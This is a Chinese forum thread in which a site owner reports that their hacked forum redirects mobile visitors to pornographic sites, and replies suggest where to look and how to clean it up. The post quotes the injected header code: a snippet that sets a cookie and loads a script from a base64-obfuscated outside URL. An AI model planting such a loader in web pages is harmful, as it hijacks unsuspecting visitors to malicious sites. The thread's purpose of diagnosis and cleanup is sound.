站帮网 发表于 2026-4-10 13:59:21

网站被黑,论坛手机访问会调转色情网址! New

网站被黑,论坛手机访问会调转色情网址!电脑端正常。


头部里有一段代码就是这个代码产生的问题





document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9hLnNvZnN4ei5jb20vanVtcC5qcw==");var s=document.getElementsByTagName("script");s.parentNode.insertBefore(hm,s);})();








在浏览器开发者工具元素栏显示这个代码也是在


现在关闭了手机端访问跳转手机版页面,手机打开也是电脑页面。这样就不会出跨域请求 jump.js


出现这个jump.js手机端就会不定时在打开首页时调转到这个请求的色情网址上。


向前辈求如何找到这个代码的位置位置


我知道答案 回答被采纳将会获得1 贡献 已有6人回答

::Bra 发表于 2026-4-10 13:59:46

后边查看一下最近修改和新增的文件
其实要做的事情很多,比如扫描目录查找可疑文件。你现做第一步把吧

yusr 发表于 2026-4-10 14:00:27

前段时间网站如果用了51统计代码的就会手机端跳转,黄、赌
51统计官方好像说已经修复了

ROBOT 发表于 2026-4-10 14:00:57

检查一下是否被黑了网站中毒被黑可以联系我哦

可可的可 发表于 2026-4-10 14:01:07

电脑版可以定位到网站根目录    →template\default(或你现在用的模板)\common,打开 header.htm 或 header_common.htm
手机版在    →template\default\touch\common,header.htm

可可的可 发表于 2026-4-10 14:01:51

不要用51统计,垃圾,之前我用各种跳转淘宝,检查各种地方都没找出来,后面把51统计代码删除,从此没有跳转过,用百度统计吧

IT618应用中心 发表于 2026-4-10 14:02:23

网站被挂马, 或者是 服务器被黑, 需要具体检查了;
       

                        先确定没有使用破解插件模板……然后 用 全新同版本dz程序 覆盖更新缓存一下试试( 最好 文件校检 删除多余的文件),
       

                        如果还解决不了问题的话 就 需要专业人员排查了……如果能接受有偿处理的话   可以加我 QQ
       

.ce-block {    margin-bottom: 20px;}.ce-block__content,.ce-toolbar__content {        /* max-width:calc(100% - 50px) */        margin-left: auto;    margin-right: auto;}.ce-paragraph {    line-height: 1.6em;    outline: none;    text-indent: 2em;    font-size: 16px;}.ce-paragraph--right {    text-align: right;}.ce-paragraph--center {    text-align: center;}.ce-paragraph--left {    text-align: left;}.ce-paragraph--justify {    text-align: justify;}.ce-paragraph-text-indent {    text-align: justify;}.ce-paragraph:empty::before{content: attr(data-placeholder);color: #707684;font-weight: normal;opacity: 0;}/** Show placeholder at the first paragraph if Editor is empty */.codex-editor--empty .ce-block:first-child .ce-paragraph:empty::before {opacity: 1;}.codex-editor--toolbox-opened .ce-block:first-child .ce-paragraph:empty::before,.codex-editor--empty .ce-block:first-child .ce-paragraph:empty:focus::before {opacity: 0;}.ce-paragraph p:first-of-type{    margin-top: 0;}.ce-paragraph p:last-of-type{    margin-bottom: 0;}.svg-icon {    width: 1em;    height: 1em;}.svg-icon path,.svg-icon polygon,.svg-icon rect {    fill: #4691f6;}.svg-icon circle {    stroke: #4691f6;    stroke-width: 1;}.inline-code {background: rgba(250, 239, 240, 0.78);color: #b44437;padding: 3px 4px;border-radius: 5px;margin: 0 1px;font-family: inherit;font-size: 0.86em;font-weight: 500;letter-spacing: 0.3px;}
页: [1]
查看完整版本: 网站被黑,论坛手机访问会调转色情网址! New